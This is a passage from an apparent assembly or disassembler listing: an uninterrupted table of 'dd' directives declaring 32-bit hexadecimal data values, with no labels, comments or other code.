		dd 4221B6Bh, 87CB96CAh,	0F58CD203h, 0AE00C458h,	601A0705h
		dd 0A0E5A3h, 5F34D11Eh,	53471454h, 21BA9801h, 31D864AEh
		dd 1559C20h, 1329DC44h,	706B08EFh, 52E260C0h, 0F3002672h
		dd 0B1213371h, 8076ADh,	2D87A742h, 250BAB3Fh, 0E3A3A407h
		dd 1B64D20Dh, 9C3E80C0h, 0FC4B3C5Fh, 0F7B42903h, 0BAD82673h
		dd 864C6D48h, 6B4D0777h, 71201650h, 1C7799Eh, 95ABAD77h
		dd 0F401A8E3h, 1800A9E7h, 640A7894h, 4BDF606h, 0D9E2D57Ah
		dd 60BDC184h, 0FCEFCDA4h, 5A00EB6Bh, 54484953h,	72B41289h
		dd 1A40006Dh, 2F05CCCFh, 0B008BE5h, 0F8D1DC4h, 241597BDh
		dd 78A65C9h, 20033655h,	0E4B513F0h, 0B16ED500h,	7E998E80h
		dd 0A03B030Fh, 0FCB3CDC5h, 18781E82h, 6000E74Fh, 0BCCF0486h
		dd 0C9E12E5Bh, 0D1D90010h, 85362D73h, 0EA7B9AFEh, 243F340Eh
		dd 9D2760E4h, 320133h, 85EFFF61h, 0C92C9F63h, 8470392Ch
		dd 0C1DCA05h
		dd 3DCD4CA4h, 740B2DF6h, 0E80113B6h, 0E0AECCE7h, 2B0F51F5h
		dd 6E3914D1h, 0D577A32Dh, 0A9BC805Fh, 1DC809DCh, 0D1007D24h
		dd 0FFF1DAFEh, 0F8320800h, 0EF26EE29h, 64860442h, 0A041EB19h
		dd 913967BCh, 0C0330098h, 0C4FEC20Ah, 4D161E83h, 725D8084h
		dd 0DCE6D8B7h, 0BBD35001h, 0D9279B55h, 657CE4h,	1D88CE75h
		dd 0A2F93D2Bh, 52E8F02Ch, 0A91A2101h, 3BC08C6Ch, 53F10062h
		dd 231C244Dh, 90009A32h, 200DD7D9h, 0A4A0F4h, 0E3DEF64Ah
		dd 0C5C8E760h, 3105767Eh, 79BE20Bh, 0F82B9B00h,	58FE9A43h
		dd 0F008DDDh, 325E2DF3h, 62EC0C1Fh, 3621761Ch, 2C2FAB40h
		dd 0FC7C4C1Eh, 48FA1605h, 0F8E04772h, 0B646154h, 3EC281Dh
		dd 93FFBCB5h, 0AFDA829h, 3540062h, 97F8EF2Dh, 7300C861h
		dd 6FE6E5B3h, 0BF7C5Dh,	0A44B3446h, 85684EFFh, 0ED1BB09h
		dd 28FC80FEh, 6B082E1h,	34B64BB3h, 0BD007857h, 0D522CC3Bh
		dd 36A1B2Ah, 530423ECh,	9698C495h, 0CC6093B3h, 3E4A57A0h
		dd 21886137h, 0CB521CDEh, 8CF0AFA0h, 0D4C90A60h, 0BE97B7h
		dd 0B82BEC12h, 6626E1A2h, 40BD4Ch, 0A0D9D630h, 71EB5809h
		dd 49C90016h, 236FB202h, 5C3C7F7Ch, 0E1700048h,	5FCA6D03h
		dd 79827436h, 8DF20EA1h, 0F100350Ah, 0FD18CD56h, 31712A00h
		dd 52114039h, 8CD6191Ah, 0DFCDB065h, 14552002h,	82A5D512h
		dd 8872F00Ch, 3E006858h, 573F6F22h, 81900003h, 0C6C0A02Fh
		dd 723ED30Eh, 98AD0077h, 4F449A58h, 2D04007Ch, 0FF7B8F63h
		dd 8E00436Eh, 5E36A508h, 963F0Bh, 47213BC7h, 48E42CB5h
		dd 615FC600h, 0DE5C128Ah, 23090034h, 63B32D0Ch,	740CD74Ah
		dd 0D8D53725h, 0D696034Fh, 5721EEE3h, 0F004A947h, 0C04C33B0h
		dd 61F1FF10h, 0F4093EC0h, 9050A416h, 0FA3114h, 0AC29647Bh
		dd 0DB8C604Eh, 9C243C16h, 750E4800h, 0FBBE92Bh,	0CDD71759h
		dd 204956E7h, 24A92531h, 0A435C200h, 8AB294B4h,	936D00D4h
		dd 1A2345BCh, 42E0209h,	54A6806Fh, 0DE75173Fh, 0BE5CE880h
		dd 1306007Ch, 0B3F245Bh, 1704FC50h, 887768E1h, 6E68F0h
		dd 533B048Dh, 67117047h, 18A24503h, 0C0CB55A8h,	19EFDACh
		dd 23C50C88h, 804593BCh, 0F6B7C661h, 9926EBEh, 0CB616503h
		dd 0B4609C89h, 177916F2h, 95977707h, 69AE5A69h,	84C40041h
		dd 2205F61h, 88DD1278h,	0BC695E26h, 79A82919h, 89698C60h
		dd 359B53h, 0D4FB30EBh,	17233DACh, 0F80B1007h, 431054D9h
		dd 0A9CB22B6h, 9FDD05CCh, 69007438h, 644D113Bh,	901591E1h
		dd 9857F2h, 0E293D573h,	1FA7DA5h, 63160D27h, 0EC9529D9h
		dd 0A700F2D8h, 0E3B28D3h, 0F0A0D780h, 5A9F00E7h, 15386C56h
		dd 70051D1h, 8FFC26A8h,	2839F1BEh, 75F0E4EAh, 92E0040h
		dd 4C26E897h, 5A909B7Ah, 0E53B111Fh, 0D6783C41h, 4EFC94DCh
		dd 0A010004Bh, 9784FD91h, 0CB783F8Ch, 55A3B200h, 0BD88A4Ah
		dd 0B50D2CDEh, 89CF004Ch, 61EC3AF0h, 4B2FDA09h,	3C6440A1h
		dd 8C7E0766h, 0B07BC46Ah, 0BB2A964Ah, 60749E6h,	0B1D4D910h
		dd 7143FCA0h, 0F59D0078h, 56275A72h, 1471FB91h,	35D2DF00h
		dd 10543389h, 20B8285Ch, 710700B0h, 0D818E999h,	4F7F7A83h
		dd 0A6F3C904h, 0AC902B19h, 0BF986Ch, 30BA731Fh,	0A647C93Ah
		dd 82FE4225h, 603D707Ch, 32C6C35h, 0A8EDBACCh, 1A8FBB3h
		dd 3573CB2Ah, 0C6849200h, 0AD406B5Dh, 0AC0C0109h, 0BB88C4A4h
		dd 0DF69A657h, 31013420h, 28EDCE55h, 0A6D49887h, 4830F86h
		dd 0F9A00326h, 77972731h, 0B8807F00h, 0E8960BE2h, 0CBBE005Eh
		dd 12B08DB1h, 0E9049E16h, 0AA5F9519h, 0CE8E3C90h, 0F21D24AFh
		dd 0D0FD8830h, 47DD0B87h, 0FA092170h, 634D0017h, 153FB789h
		dd 9C900FCAh, 0A4B80600h, 0BA91878Eh, 0B23C00A1h, 51D4E9B5h
		dd 0A770CC82h, 0D8003DF2h, 0BAB3AE08h, 745E9E3Ah, 0D0850EABh
		dd 31409F25h, 596FB853h, 0E4DBFB1Ch, 9AEB46C0h,	50FEA5h
		dd 0EF7FD1B9h, 0E394C7BEh, 1C0F1374h, 40F7422Ah, 0AE1DB44Dh
		dd 69F0026Ch, 0FA211499h, 70553849h, 3A0F48DCh,	823E981Eh
		dd 0E0A1095Bh, 0BA4DB463h, 94B0A8h, 0CB14DFD7h,	0C95D874Ah
		dd 0CD293660h, 215AD6h,	0B92D0BE4h, 0C5FDD4DCh,	0C89C6000h
		dd 0CE0A6D61h, 0FC1B58D0h, 210F3700h, 2DC47453h, 0A44C3C28h
		dd 0EA2C1424h, 4D6E8E39h, 6F6741FFh, 0D8641856h, 0B1BF159Ah
		dd 0C7BC841h, 3226C755h, 25004811h, 85523FBFh, 0CA7311h
		dd 420BA278h, 7C15D2C3h, 0CC7BA2B8h, 45FE2B00h,	0DDFD8F44h
		dd 0AC8B00FFh, 53351E8Ch, 0B8006229h, 6CF3E6E9h, 3AD98234h
		dd 3080C93Bh, 4A0E0A7Eh, 0DC00A10Bh, 0FEC4103Ch, 0BFD517h
		dd 559695C1h, 3A458C43h, 9C3BB3E6h, 87B51740h, 0BD086300h
		dd 9490CD3h, 0A1E533D8h, 10B1E827h, 0C83EA58Ah,	0F812126h
		dd 7E80251Ch, 9283AF4Dh, 0E15309DBh, 3800C8C9h,	461048D3h
		dd 5E0B0AF4h, 80D265CDh, 9136B7DBh, 0BC10C0C2h,	0F818534Dh
		dd 7B344700h, 7142786Bh, 85A224DCh, 0CA6E05D8h,	0FF70D0CFh
		dd 19C09E02h, 88A94595h, 7D66980Ah, 118B075h, 0A1AB7E58h
		dd 9782A02Ah, 2C881089h, 3820FFF1h, 0E63E00E2h,	0E2B6D55h
		dd 0C80BA681h, 2E0A71F4h, 8633E06Dh, 0F508DEh, 7824AC8Fh
		dd 17C0B1C9h, 3B5D9701h, 0A62D9A85h, 713C69E8h,	9DBB062Eh
		dd 30F0738Bh, 33D67607h, 9B10D928h, 0CAEB1Eh, 52E00419h
		dd 0C6FD3C89h, 6701207Fh, 0DE28A183h, 6D86ADAh,	71738Ah
		dd 0A0C65751h, 0CFAAA2C2h, 0CC1B901Fh, 353AF683h, 0AE9F8B2h
		dd 7CBF1441h, 860EA03Dh, 0C9C0AA7Eh, 173CC807h,	6018F8C3h
		dd 541BA895h, 0B9F61E5Eh, 8867402Fh, 0BF5FF51Dh, 0D2AB5109h
		dd 0B6E4000Bh, 74022590h, 75E600ADh, 88C34E0Fh,	0D3005423h
		dd 0C5BC3A18h, 0B25142h, 9BCCFD68h, 4D526DDh, 0C4E9A300h
		dd 0BCC16DB6h, 99080F17h, 77A239BBh, 1CFA1FEEh,	2DC7C0Ch
		dd 447D414h, 0E970AF78h, 1B6A8112h, 0B247209Fh,	0CE91AC00h
		dd 0B3930CDCh, 13D402CCh, 0A15D8614h, 9F31E057h, 0DDFB4821h
		dd 3ECF200h, 8836CDE1h,	8078494Ch, 0C2A342B7h, 0C47D12D9h
		dd 0A0A08BA7h, 7F67B826h, 78D20052h, 9CA03224h,	9D005817h
		dd 35DE4BC2h, 4C5538h, 0EDD3CBBh, 8ECB8126h, 0D1D49501h
		dd 0ECC2BE94h, 12DE3F20h, 937EF0A9h, 204DD644h,	0F5160118h
		dd 0D514442Ah, 4A5A30D0h, 457803D2h, 0A5BF392Bh, 2EB1C0E8h
		dd 0DA004B4Fh, 0E2CF2452h, 74C48A0h, 0A206035Dh, 50EA179Bh
		dd 30373A3Fh, 6045EE30h, 2AED18h, 0AEC7365h, 4EB09F40h
		dd 390C5307h, 0A052CCDCh, 0FFC524Bh, 0C4ED9B52h, 94B39162h
		dd 0B1000859h, 52FC8834h, 58C09495h, 0E200CB38h, 85B04FE4h
		dd 39DDE8h, 7C48D89Ah, 3295F9AAh, 90C14A0Fh, 50432013h
		dd 0A5BB16h, 0DE580B7Fh, 5FD53789h, 9F003373h, 0F66CBAAFh
		dd 0D8529Dh, 0E4E03F5Dh, 532A222Dh, 9A8B541Fh, 167C86C1h
		dd 1481068Fh, 566468D4h, 0BB22D8A2h, 66E67DB8h,	0C70E3A75h
		dd 636CD4E2h, 0F0977695h, 0EFD0B4h, 9366237Bh, 0B19AB9BAh
		dd 96023E7Dh, 185A248Ah, 53DCE41Eh, 0A3AB04CDh,	5644F8F2h
		dd 3D37F0Fh, 0C3D795CCh, 4F9DE3Fh, 98188159h, 0C21C14C4h
		dd 54F049F1h, 0E7B7C39h, 9AD9F83h, 80059987h, 1E367121h
		dd 0F38A1900h, 1BA011B1h, 97CA00ECh, 6E6D16C7h,	60DDF4E9h
		dd 4F3E4B07h, 27F05720h, 4CEC90EEh, 6707B2CAh, 7D6095Ch
		dd 7CE7B3EAh, 42A2101Dh
		dd 1729A840h, 37301CCh,	87DE3E6Ah, 901A4D67h, 40D9AC38h
		dd 0B4D6A4h, 8C4BE7C1h,	0F43B5515h, 9FDC0F0Ch, 2A18D906h
		dd 7D74D43Fh, 28940373h, 6FAD7C1Bh, 0F13C6000h,	0D657AB24h
		dd 902660C6h, 2B094876h, 0A007FFAh, 0DA212D4Ah,	1C7210B4h
		dd 1970A3E8h, 8431D8DEh, 78B87E98h, 0FB3E2002h,	270088D8h
		dd 1DD26E8Eh, 1E41A7h, 5086A2D5h, 9F916461h, 0CCFC9E06h
		dd 7D8869DCh, 34F0006Fh, 2A94F10Bh, 0F0AFC82Dh,	0ACB45180h
		dd 71309EAh, 0BB333ABDh, 0C04EC794h, 0DC37D297h, 34D3AD1Eh
		dd 0C00146Eh, 3B57055Ah, 0FE6F0E3h, 0BF1D9C2Fh,	0EB02106Eh
		dd 8489EFC8h, 694C0A86h, 0A5CC4000h, 0E162B828h, 0CBBB1D73h
		dd 214818ECh, 0CC98C3FDh, 0B9647B1Ch, 3B41B2C0h, 1E095DDFh
		dd 0CED8F52h, 0F210F4E7h, 271CE406h, 202894FCh,	0CD01C0DBh
		dd 0A7D43084h, 0A8403752h, 30DBC4Fh, 95CA863Dh,	93E546A0h
		dd 5E2CC50h, 87F23040h,	785E8000h, 639C6ED3h, 74F60945h
		dd 64080629h, 0F06A0590h, 0F203CC3h, 1E046D46h,	7F850DCh
		dd 0B82A5770h, 66B8B580h, 5C5D031h, 10185395h, 7FD40174h
		dd 80961389h, 21B943C8h, 0C372B0C6h, 94082F39h,	2B0514E0h
		dd 0DF0CC19h, 219E6608h, 42934030h, 5070D73Dh, 2B78E814h
		dd 7191590h, 0F07212F4h, 1DA77600h, 1320E98h, 4DB99787h
		dd 2001FB76h, 0E801B278h, 0CCF8D37Ah, 0C09CFDE1h, 3B64036h
		dd 199F59CFh, 0F4517A62h, 9C8DC0F2h, 0B11407F7h, 7048E507h
		dd 9313FDDBh, 7D3DD000h, 0D4338BEh, 0E10B1CA0h,	1426074Fh
		dd 81FC5A37h, 0F668ED13h, 45BBECE9h, 2C5A4000h,	0E799B8EAh
		dd 0F8F09272h, 0D0136096h, 6D4FF124h, 2B8A351h,	930C794h
		dd 14401094h, 0F10FE00Dh, 53250193h, 44F39550h,	94148036h
		dd 72324626h, 3D5724AAh, 0A5CFC05Ch, 0CA21B829h, 56DF88ECh
		dd 0A5C6E000h, 5900Ch, 712C4E8Fh, 0FC4961EAh, 2038FCA1h
		dd 0E61CB744h, 19CAC7D1h, 0FE80A008h, 69106313h, 0B3DF18CEh
		dd 2B371954h, 0B00198A4h, 0B8307452h, 74483A21h, 2347E294h
		dd 6411A514h, 941C5401h, 29137FF4h, 0E1532500h,	9813F84h
		dd 1F741757h, 9DD2E477h, 599C15Ch, 8138C706h, 73D4F430h
		dd 2EBA0013h, 7790EDC3h, 0E700A460h, 0E0A3DDCEh, 214A04h
		dd 0A24DE901h, 2818701Ah, 0CDC090Fh, 17A54252h,	42684119h
		dd 307ECC48h, 0DD6155A0h, 6F7528DCh, 399B025h, 0F34B8150h
		dd 0F38CD86Bh, 4A4228A7h, 2C294CA4h, 24185205h,	4EDC3078h
		dd 0E5603EF0h, 7227EDD9h, 33533BCEh, 9480A19h, 0D218002h
		dd 36D3729Eh, 0F4E07625h, 64B8589Fh, 1A068D22h,	73890929h
		dd 2CA89030h, 0E3C7F13h, 41396B2h, 0C0766800h, 468824B8h
		dd 2DE02F54h, 19F17C12h, 0D69E2020h, 89D21EC3h,	70975407h
		dd 90ABEC65h, 0BFD42B58h, 28D01D26h, 0C0841414h, 0B6D0D85h
		dd 3DE72552h, 30C540A0h, 0DA02D403h, 43C8D146h,	21C880B7h
		dd 0A80518F8h, 7CCF9ACh, 0D5177172h, 0F7E6E178h, 0C388E8B2h
		dd 0C00DE100h, 76EC734Bh, 0A39628FAh, 32FC2880h, 0C06E58B4h
		dd 9457DCC1h, 3418A648h, 26652038h, 1108C8BDh, 45770B0Bh
		dd 0FC6808B6h, 0A309D699h, 38172180h, 537964B6h, 507D3E6h
		dd 6C83D76h, 0CF195F6h,	0D74D7C1Ah, 62189F79h, 8B907AD4h
		dd 6438A5BCh, 34236078h, 19311865h, 0E7CE1906h,	0E44E7300h
		dd 2A3A1AD4h, 25979AFh,	722C8191h, 48804107h, 0C9F97CFAh
		dd 4206181h, 3C0848F8h,	9B384450h, 0A5CE0114h, 1932B826h
		dd 0FB007032h, 0F3A0A5C5h, 9850852Fh, 68B253C4h, 0D4E3709h
		dd 2A60183Fh, 50631172h, 0BCF9882Bh, 78728180h,	0ECD08C61h
		dd 719B2D1Ch, 48F053C3h, 64A1480Ch, 57435CBCh, 30793916h
		dd 0DC563A44h, 80DED828h, 1B37BF00h, 234B9126h,	8F993DEDh
		dd 7FDDF082h, 1042492Bh, 9C57A800h, 0DCA2E512h,	68446467h
		dd 20442761h, 790E4D59h, 229E45BAh, 51547233h, 21B00200h
		dd 1B104DBFh, 2A717DEh,	6CF0505Bh, 3AEF6600h, 5FE8F56Fh
		dd 33D7D000h, 0BB29C7C5h, 25611FB5h, 0B8ECC2C4h, 0C8A05B89h
		dd 5F0A4050h, 3A40CCB1h, 77867B5h, 2CBEBBAEh, 0A11B647Eh
		dd 44C08B0Dh, 520E66h, 0B9C1264Eh, 1AC40E34h, 0E960A69Ch
		dd 352A53A3h, 121DBC92h, 6C248152h, 42808211h, 44DE95B6h
		dd 0D225343h, 0B655140Bh, 41970D5h, 19D6423Fh, 40548874h
		dd 0AD00C0A6h, 0E002C57Eh, 0E4D688C4h, 0D038934Eh, 2F006506h
		dd 9BF6F7FFh, 1F14C8Dh,	0BD5773ADh, 58C421BAh, 94081AF4h
		dd 0C495143Dh, 2324065h, 9A78E94h, 0C44FDDBEh, 7C373CABh
		dd 28905E82h, 38D04062h, 16DCA560h, 39A008FEh, 369407C0h
		dd 2ABD2417h, 0F555844h, 3CB99400h, 0F8C6972Fh,	0F341059Fh
		dd 5E7119DDh, 542300C4h, 0BBE138D7h, 0F6B44DECh, 0C8161513h
		dd 9E8A6800h, 0F8FD7C67h, 0CCD60097h, 48C9053h,	8BF09FB5h
		dd 989163ECh, 868174Bh,	0E76F21C3h, 15F5DC17h, 0E6F2D8C2h
		dd 36382490h, 0DAAB8084h, 0D35222Eh, 538E6E00h,	43B9FBE1h
		dd 0BFC4B3Fh, 0F280E634h, 0DC8C183Ch, 0CCCA2105h, 60805C89h
		dd 1C7B42Ah, 4DD66101h,	43721A40h, 0BDB007B4h, 4176EA27h
		dd 1E686559h, 410CC17h,	0F581E904h, 2808E339h, 0B28C956h
		dd 3500D0FBh, 0B777AF6Bh, 2D607B5h, 829E521Ch, 6460BBE4h
		dd 5C86362Eh, 0B817B820h, 0F9C83882h, 24A53700h, 0D976C73Bh
		dd 33910092h, 4BE9474Eh, 0A7252A1Dh, 322810C1h,	20E7349Ah
		dd 28309988h, 8C47BC60h, 3D828A09h, 949C20D3h, 0E61100Ah
		dd 0E62394Ah, 0DC8892A3h, 394486E7h, 74158D00h,	0D0AE196Ah
		dd 70380F9Eh, 9145145Eh, 0CDA009C8h, 57A0EC82h,	62183C11h
		dd 0B82AA208h, 405AC4D2h, 0DCA539F7h, 3F38007Dh, 53F38664h
		dd 4489248h, 3038F294h,	17F49406h, 4C22B546h, 940E5600h
		dd 0A9990B22h, 0E0759028h, 365A0A9Ah, 9784BED4h, 551C0CF2h
		dd 0F0399970h, 0C70880DAh, 0C5EB623Ah, 0A8B7B843h, 0B21D7790h
		dd 93F909A4h, 6C5D55h, 4F09E1F8h, 0E6C69C1Bh, 0D670208h
		dd 409175E9h, 18C54869h, 4294081Bh, 31701D14h, 9D940703h
		dd 92F33B15h, 0C840EC6Ch, 8D7E7F72h, 1C9C749Eh,	78A4D4E4h
		dd 4C465Eh, 0F5676F04h,	8C6AECh, 21721E43h, 0A0E85346h
		dd 0B0905450h, 714B8909h, 0D4BD5Ch, 78846037h, 1E018D93h
		dd 484DFD5Fh, 0A040FEA6h, 27545601h, 38824634h,	3F220DA0h
		dd 0D09920FCh, 77006C3Bh, 110C3DF9h, 39FE988Eh,	2A9D2315h
		dd 934F009Bh, 9DA0EF36h, 0F6546501h, 891A330Ah,	8C256860h
		dd 6B12B04h, 79625CDEh,	0B12EC921h, 2477E2F8h, 21348B1Eh
		dd 21C3D0B0h, 141AE086h, 0D8D2C17Ch, 0BC4C5604h, 619905D7h
		dd 4DABECC1h, 39CF7E01h, 9FDC058Ch, 88023626h, 66482B19h
		dd 0D43E4C54h, 0BDECAA0Eh, 814C90D7h, 804AA18Dh, 0D017D420h
		dd 4C320901h, 0DCE83D68h, 87005815h, 368AEA98h,	0E1A966h
		dd 2BC922BEh, 280FB535h, 34C6F126h, 0AC004B11h,	9980EB92h
		dd 69004CCAh, 0F849F96Ch, 7B4A85E1h, 475824AAh,	40CC059Ch
		dd 0B584411Eh, 0E0388A7Bh, 0B0303721h, 481D999Bh, 70E8017Eh
		dd 25C9899Ah, 0D063EE08h, 60373926h, 0C77D4C40h, 0AB310179h
		dd 0CBCABAA3h, 0C439E580h, 0EF05A70Bh, 2B91B1C9h, 698088h
		dd 0E89E4CC0h, 0B8BF1E78h, 1239AE3Eh, 0E00236F8h, 149BF399h
		dd 48794CB9h, 320B0818h
		dd 18F397B4h, 0D4F5C0h,	384B8A77h, 0D3AC4CBBh, 378EDD02h
		dd 0CC06669Ah, 7C180B84h, 9009F17Dh, 0CCDF1002h, 5A094072h
		dd 65D48F4Ah, 61A2E430h, 24E497E6h, 88750934h, 0F887FA70h
		dd 8856D448h, 962287E8h, 240E465Dh, 5309710Dh, 0EEE831E3h
		dd 72241310h, 0AFB0DD00h, 0C692D6AAh, 602702E7h, 4D46CAB5h
		dd 7550CC1h, 0F5BB2081h, 33D9688Bh, 70AF9C37h, 884100E3h
		dd 7E1809BEh, 4B07E873h, 4D3F3061h, 408BAAF5h, 53C14EC8h
		dd 408445B8h, 0E237A2B5h, 3007E2D8h, 609D6F9Ah,	14B227A8h
		dd 0A8324EFDh, 8C05BCh,	4115932Fh, 4DCEF1B5h, 0AE9EA9C1h
		dd 8160EA87h, 0D8955573h, 84AC2C39h, 40D7EB1Fh,	0B425A904h
		dd 0B95628D8h, 185AD12Ch, 1E0500A3h, 12ED0A59h,	0E30BB09Bh
		dd 0AE3C5B41h, 0E96860A0h, 67B40Ch, 4DF0CA81h, 0A8F5E22Bh
		dd 3C32E424h, 266900DCh, 1FAC15A8h, 140F5BEBh, 72D4E4F3h
		dd 9986E41Fh, 2680FA2Fh, 83D47CB5h, 3BA0AACBh, 41EC9DA8h
		dd 0CCD59800h, 0F0C45D45h, 6C6B5817h, 0D8184713h, 28C8124h
		dd 0DE1AB647h, 0EC71533Ch, 0B63A1540h, 0BFE80443h, 407218F1h
		dd 93909FF2h, 0C36A0787h, 257382ECh, 8B08D549h,	0C065C86Ch
		dd 3793B233h, 3AC1E1Dh,	92094D45h, 0DF4804C1h, 25741A00h
		dd 82C2FF27h, 4416C94h,	84C08E0Fh, 0C530575Ah, 51181F2Fh
		dd 40705305h, 0F00A4982h, 15485524h, 288CE40Bh,	5B4853FEh
		dd 9F08E078h, 6FE472h, 3A2DF712h, 0E11D7414h, 0A090B0h
		dd 1B2A28F0h, 24630FCh,	0A722917h, 4E3083CBh, 800F0011h
		dd 64454372h, 61C212E4h, 0DAA82034h, 9B5CBAD3h,	21A00D7h
		dd 12F519A1h, 0DE431CF4h, 809F5AD4h, 942EE009h,	8768AB64h
		dd 38BB6310h, 67B5480Eh, 7BB760AEh, 12FDB1E3h, 22750ACCh
		dd 4030801Ch, 0DE1B08B6h, 7B645214h, 0B63B1640h, 8D48DC3Eh
		dd 52238h, 5427C75Ch, 0A74D1FE3h, 9B98FB01h, 0FE4C1AE7h
		dd 30F1BBD0h, 0CAD93316h, 17483651h, 0A02F72B0h, 26448063h
		dd 80FBC7F9h, 0B6040752h, 4877D220h, 4C8FCCEh, 3437D4C0h
		dd 0EFBC00F7h, 0CC516361h, 9F01E3AEh, 0DBF196E0h, 2AC819D5h
		dd 5C149432h, 7B02EE46h, 3D1EE685h, 6000FCE4h, 9E461C0Dh
		dd 0F6AEDB23h, 5C7521h,	416DA774h, 0AABAE0E4h, 3715F115h
		dd 9904C88h, 0FC7787h, 0AA2BF088h, 0EDA600B1h, 0CAB47835h
		dd 0E4A03D63h, 432DB728h, 119C1795h, 0D06C8047h, 0B0A4DE8h
		dd 9897F920h, 311A81Fh,	0B625FE82h, 2054CCC2h, 54F05082h
		dd 9D44425Eh, 9F4711DCh, 7FDBFD02h, 23C548Bh, 0C878CC9Ah
		dd 0FC20A0DAh, 20D55B43h, 6DB0C4F4h, 7812040h, 17A91B1Fh
		dd 0BC622FF5h, 0DF42F311h, 292FAC78h, 1E42B19h,	3D6B1ABBh
		dd 61003C69h, 9FA9BE7Fh, 1C273318h, 7470E3h, 0F2F5AD38h
		dd 0C9B569F3h, 5501B8DDh, 0DD2E1933h, 88409025h, 26AE9F29h
		dd 0CFEC51CFh, 901640E4h, 8AD69FD0h, 9859152Fh,	2E87F0C0h
		dd 2450FC72h, 67467CB4h, 0E5504C01h, 0F9F701FEh, 0BC122A79h
		dd 0FC78B405h, 4CB224B3h, 286E30h, 0A09E16E5h, 8EFC699Ch
		dd 1740CB0Ch, 2A93E0DEh, 2CFCF8F2h, 5E44BCFEh, 290E7946h
		dd 5801C9Dh, 305CEA38h,	1443F34Bh, 0BD82442Eh, 16E298B0h
		dd 6F459E0Ah, 0DE380178h, 883192C9h, 0B53DE422h, 0F41F4Ah
		dd 677B8D6Ch, 0F5011502h, 0D80F04BEh, 0E3F0A5F7h, 8ECAC29h
		dd 769CE4D2h, 0CD9CC16h, 0FCE10032h, 26320C4Eh,	4090398Ah
		dd 0B8F4BA68h, 7A983F00h, 87260795h, 305F73h, 9FDD8B2Ch
		dd 10D6456Ah, 58D50409h, 248C8194h, 0B6054418h,	5234DE07h
		dd 24CAC02Ch, 1FDDB63Fh, 0CBACA4C7h, 4E408E5h, 0B38A9160h
		dd 0A05C0301h, 4244020Bh, 0D8FF5C31h, 1BB66DEh,	84837E30h
		dd 3C0380BDh, 0A1C42560h, 0EE187024h, 5A40BAC3h, 2FDE4D0h
		dd 6A15282Ah, 0E8733214h, 2AAAC58h, 35EA9B7Ch, 8441028Bh
		dd 0F2FC50F5h, 4B06302Eh, 43588499h, 1AE300D4h,	0B5467EC1h
		dd 5E7E05ECh, 0B00B135Bh, 84E428h, 1D8E079Dh, 52C4C9ACh
		dd 5A429E00h, 71CA3732h, 4D702194h, 56CC7E06h, 0C1CE2539h
		dd 4E11E8B5h, 0EE3DD582h, 749FA0C0h, 38414491h,	0AC48B962h
		dd 6D2B176Eh, 80949B8Bh, 0CF7BC550h, 7DA6022Ah,	3341B816h
		dd 0A21F185Eh, 6489F145h, 41C300F0h, 7790209Bh,	2660DC94h
		dd 12F49A0h, 3561B24Ch,	0F8C76E56h, 0AE0358ADh,	0BB8B580h
		dd 99DAC0E1h, 0BE7D2520h, 9FFCF468h, 7AEB9612h,	0F225ACA6h
		dd 709164CCh, 0AF186471h, 0FA3EE478h, 84415F23h, 3270A61Ch
		dd 0F953D088h, 0B1614D02h, 36321847h, 0B8BB8000h, 82021B9Ah
		dd 4C7CFFCAh, 84243104h, 26C88290h, 13B13630h, 3864DE01h
		dd 3901C854h, 0B547BCB6h, 0BC7210A5h, 35D05400h, 0B7BAA9A3h
		dd 19F01500h, 1DE8D34Bh, 0ADA70009h, 0AE9E7DCEh, 709CD7Eh
		dd 2098B037h, 0F52BEA3Ch, 0FA5A034Ah, 0B8C78B3Ch, 0D88E97EBh
		dd 0B6624713h, 0A7DEE4D0h, 10434022h, 6C24789Bh, 0E1EC639h
		dd 8B53C972h, 11ACE465h, 59AF7200h, 164251D0h, 60793745h
		dd 4620047Ch, 0BC98324Ch, 81058CF1h, 7FFE431Bh,	41AEAC90h
		dd 7848B885h, 6B0C25Bh,	98483FF2h, 0DF7740B5h, 221819D2h
		dd 803119h, 6CCCFDE2h, 0FC3E6A5Eh, 5CE77F14h, 80CF3F80h
		dd 668638C2h, 14795E90h, 0F0506144h, 4FDDDB01h,	6CEDE0CEh
		dd 4387086Ch, 891A02D9h, 0AE629C5Dh, 5088F854h,	0A2467C5Eh
		dd 0BDD45700h, 0E4A4A630h, 7C651E39h, 41EC254Ch, 0BB544195h
		dd 343D01C1h, 1A00AC72h, 0B961822Bh, 260BCABFh,	10CC85Ch
		dd 0EAEBB824h, 5F10FC30h, 0B90082E6h, 0ED64054h, 56C27CB7h
		dd 245DB64h, 7CED6770h,	203E1760h, 0CA1D30B0h, 383DE900h
		dd 5B169A49h, 53F21FA7h, 0E40594F0h, 7B86E4Eh, 69FF4DF2h
		dd 0D45C9711h, 0C828B3D9h, 4C1A6480h, 0F0E3D826h, 15003102h
		dd 69085E3Bh, 21B51FDh,	96670561h, 0C86A4CF2h, 312FF8F2h
		dd 48C020DEh, 0ABC67Ch,	0AF670EAAh, 5FEE5546h, 9892DFF6h
		dd 308BB94Eh, 0E0C36A88h, 1A25A0E9h, 0EFF2667h,	611129Ch
		dd 584B102Fh, 913E3730h, 79EBDB08h, 7FDC18E9h, 0CA0D798Bh
		dd 7C138824h, 0AFE85482h, 3DF056ACh, 74FCCB82h,	9868F3DDh
		dd 7A0F819Fh, 0B548D30Fh, 0AA2D03A4h, 16922ADh,	8D5C2011h
		dd 0C3953215h, 9B7CA0C4h, 0C844D490h, 72CC1A42h, 206A310Fh
		dd 20879809h, 89A0E35Dh, 6DFA1BF8h, 6CF39B24h, 0DEAD4082h
		dd 371C87C5h, 0D07C18A2h, 0F9B008C0h, 2805FA13h, 0C03036EEh
		dd 97C3ACD2h, 6CCACC00h, 7804CE28h, 741B2BF5h, 18F2B088h
		dd 0E075DA57h, 7B02E647h, 89E2E7DEh, 0F27868E3h, 3D7301BEh
		dd 473E20CAh, 0F0006B90h, 0F12FE310h, 5864309Fh, 69C4FC40h
		dd 0C989A78h, 18F3B103h, 0E074DA09h, 5FACE54Ch,	9F0807AFh
		dd 0EC31C0D6h, 0B1D3583Dh, 0FCC4348Bh, 0AD3C304Eh, 6C2F9538h
		dd 1AB8BFA0h, 280261A4h, 0C93DFB3h, 708C7BEFh, 6C0089D0h
		dd 97773CC6h, 0C54217F1h, 40701321h, 366FB4C8h,	340058CEh
		dd 96FB0A3Dh, 0FE4BBAh,	93CAEF74h, 3618B12Bh, 3F8F4D3Ah
		dd 0FCD40FE9h, 3937862Fh, 0BE3B0151h, 3C8E488Bh, 62AD065h
		dd 0DA21DCA0h, 0ECF2D327h, 8964410Ch, 41AD6050h, 7CCDDEFCh
